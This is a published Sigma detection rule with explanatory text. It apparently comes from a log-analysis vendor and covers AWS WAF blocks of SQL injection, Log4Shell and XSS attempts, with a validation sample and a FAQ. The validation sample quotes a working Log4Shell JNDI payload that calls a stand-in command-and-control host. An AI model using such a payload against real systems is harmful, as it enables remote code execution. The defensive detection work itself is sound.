Why key on terminatingRuleType rather than just action: BLOCK?

AWS WAF also issues BLOCK through rate-based rules, which trip on volume alone and say nothing about payload content — a retrying API client or an aggressive but legitimate crawler can hit a rate limit without ever sending a malicious request. terminatingRuleType: MANAGED_RULE_GROUP narrows the rule to blocks where AWS's own signature set matched known exploit content (SQLi syntax, the Log4Shell ${jndi:ldap://...} pattern, XSS markup), which is a much higher-confidence signal than volume alone. The validation sample's rate-based block (429, limitKey IP) is deliberately excluded for this reason — it belongs in a separate scraping/abuse rule, not this one.

If WAF already blocked the request, why alert at all?

Because BLOCK means the edge stopped this specific request, not that the attacker stopped. The sample shows the same source IP (185.220.101.42) tripping three different managed rule categories in eleven seconds — SQL injection against /api/v1/users, a Log4Shell probe against /api/v1/health, then an XSS payload against /api/v1/comments. That is active, automated exploitation searching for any opening, and the next request from that IP — against an endpoint the current rule set doesn't cover, or after a WAF rule gets misconfigured — may not be blocked. Treat a managed-rule BLOCK as 'this attacker is actively probing you,' not 'this is handled.'

How do I tell this apart from an automated scanner just fingerprinting the app?

Look at which managed rule fired and what the payload actually contains. A scanner doing recon (checking for a login page, a status endpoint, a common path) rarely trips SQLi or known-bad-inputs rules, because it isn't sending exploit syntax yet — it mostly produces 403s from the common rule set or no WAF match at all. A UNION SELECT in args, or a ${jndi:ldap://...} string in a header, is the application actually being attacked, not just mapped. The httpRequest.args and headers fields in the WAF log carry the exact payload, which is the fastest way to separate 'someone found the endpoint' from 'someone is exploiting it.'

Should the same source IP triggering multiple categories raise the severity?

Yes. A single managed-rule block from an otherwise-unseen IP can be a one-off scan with no follow-through, so this rule is scoped to high rather than critical. But LogTriage's pattern detector groups WAF-block events by source IP and escalates to critical when one IP accumulates blocks across multiple rule categories in a short window — exactly the SQLi-then-RCE-then-XSS sequence in the validation sample — because that breadth is what separates a drive-by scanner from a determined, manual attacker.

HIGH AWS WAF Web Application Exploit Attempt LTR-0021 ✓ validated

Detect Managed Rule Group Exploit Blocks in AWS WAF Logs (SQLi, Log4Shell, XSS)

Published October 12, 2026

MITRE ATT&CK: T1190

Sigma Rule

title: AWS WAF — Managed Rule Group Blocked Exploit Attempt
id: e1b4afda-a389-4207-b2d2-97a99de4f9b0
status: experimental
description: >
  Detects AWS WAF terminating a request through a managed rule group — AWS's
  curated signature sets for SQL injection, known-bad-inputs (including the
  Log4Shell JNDI pattern), and cross-site scripting — rather than a custom or
  rate-based rule. A managed-rule BLOCK means AWS's own signatures matched an
  actual exploit payload in the request body, headers, or URI, not just
  elevated volume, so a single occurrence is a confirmed attack attempt
  against the application even though WAF stopped it before it reached the
  origin.
references:
  - https://attack.mitre.org/techniques/T1190/
author: LogTriage
date: 2026/10/12
logsource:
  product: aws
  service: waf
detection:
  managed_rule_block:
    action: 'BLOCK'
    terminatingRuleType: 'MANAGED_RULE_GROUP'
  condition: managed_rule_block
falsepositives:
  - Aggressive managed rule tuning flagging legitimate text containing SQL-like keywords or markup
  - Sanctioned internal pentest/scanner traffic sharing a NAT IP with real users
level: high
tags:
  - attack.initial_access
  - attack.t1190

What this rule detects

AWS WAF logs every request it terminates, and the terminatingRuleType field tells you why it was blocked. A MANAGED_RULE_GROUP block means the request matched one of AWS’s curated signature sets for a known exploit class — SQL injection, the Log4Shell JNDI lookup pattern, cross-site scripting — not that it merely looked suspicious or exceeded a rate limit.

This rule fires on any request terminated with action: BLOCK and terminatingRuleType: MANAGED_RULE_GROUP. There is no volume threshold, because a single confirmed exploit payload in the request body or headers is meaningful on its own.

Detection logic

The rule is a single narrow selection rather than a list of specific rule IDs (SQLi_BODY, Log4JRCE, CrossSiteScripting_BODY, …), because the common thread across every managed rule group is the same: AWS’s signatures matched known-exploit content, and the request was stopped before it reached the origin.

Rate-based blocks are deliberately excluded. terminatingRuleType: RATE_BASED fires on request volume from a single source regardless of payload — useful for abuse/scraping detection, but a different signal from “this specific request contained an exploit attempt,” and conflating the two would blur a high-confidence rule with a noisier one.

Validated against a real sample

Validated against aws_waf_blocked.json (shipped with LogTriage), which contains four blocked requests from two source IPs:

185.220.101.42 (SE) — a UNION SELECT SQL injection against /api/v1/users, blocked by AWS-AWSManagedRulesSQLiRuleSet
The same IP eleven seconds later — a ${jndi:ldap://malware-c2.ru/exploit} Log4Shell probe against /api/v1/health, blocked by AWS-AWSManagedRulesKnownBadInputsRuleSet
45.142.212.100 (NL) — a rate-based block (HTTP 429) against /api/v1/accounts, from a python-requests client — this one does not fire the rule, by design
185.220.101.42 again — a cross-site-scripting payload against /api/v1/comments, blocked by the AWS Common Rule Set

The rule fires on the SQLi, Log4Shell, and XSS events and stays silent on the matching benign log, which contains only action: ALLOW / terminatingRuleType: REGULAR requests from real browsers and an okhttp mobile client — zero managed-rule blocks.

False positives

Genuine ones are rare because managed rule groups match actual exploit syntax, not keywords in isolation — but an aggressive rule set can still flag legitimate content that happens to contain SQL-like text or markup (a support ticket pasting a stack trace, a CMS field with embedded HTML). The other recurring case is sanctioned internal security testing — a pentest or CSPM scanner exercising the same WAF from a shared NAT egress IP as real users. Correlate blocked requests with a known testing window before treating them as an incident.

Frequently Asked Questions

Why key on terminatingRuleType rather than just action: BLOCK?: AWS WAF also issues BLOCK through rate-based rules, which trip on volume alone and say nothing about payload content — a retrying API client or an aggressive but legitimate crawler can hit a rate limit without ever sending a malicious request. terminatingRuleType: MANAGED_RULE_GROUP narrows the rule to blocks where AWS's own signature set matched known exploit content (SQLi syntax, the Log4Shell ${jndi:ldap://...} pattern, XSS markup), which is a much higher-confidence signal than volume alone. The validation sample's rate-based block (429, limitKey IP) is deliberately excluded for this reason — it belongs in a separate scraping/abuse rule, not this one.
If WAF already blocked the request, why alert at all?: Because BLOCK means the edge stopped this specific request, not that the attacker stopped. The sample shows the same source IP (185.220.101.42) tripping three different managed rule categories in eleven seconds — SQL injection against /api/v1/users, a Log4Shell probe against /api/v1/health, then an XSS payload against /api/v1/comments. That is active, automated exploitation searching for any opening, and the next request from that IP — against an endpoint the current rule set doesn't cover, or after a WAF rule gets misconfigured — may not be blocked. Treat a managed-rule BLOCK as 'this attacker is actively probing you,' not 'this is handled.'
How do I tell this apart from an automated scanner just fingerprinting the app?: Look at which managed rule fired and what the payload actually contains. A scanner doing recon (checking for a login page, a status endpoint, a common path) rarely trips SQLi or known-bad-inputs rules, because it isn't sending exploit syntax yet — it mostly produces 403s from the common rule set or no WAF match at all. A UNION SELECT in args, or a ${jndi:ldap://...} string in a header, is the application actually being attacked, not just mapped. The httpRequest.args and headers fields in the WAF log carry the exact payload, which is the fastest way to separate 'someone found the endpoint' from 'someone is exploiting it.'
Should the same source IP triggering multiple categories raise the severity?: Yes. A single managed-rule block from an otherwise-unseen IP can be a one-off scan with no follow-through, so this rule is scoped to high rather than critical. But LogTriage's pattern detector groups WAF-block events by source IP and escalates to critical when one IP accumulates blocks across multiple rule categories in a short window — exactly the SQLi-then-RCE-then-XSS sequence in the validation sample — because that breadth is what separates a drive-by scanner from a determined, manual attacker.

Related Resources

See this detection run on a real report

Try the live demo with a pre-loaded malicious log set — no signup required — or upload your own log file and get a full AI-reviewed threat report in minutes.

Try Live Demo → Analyze Your Own Logs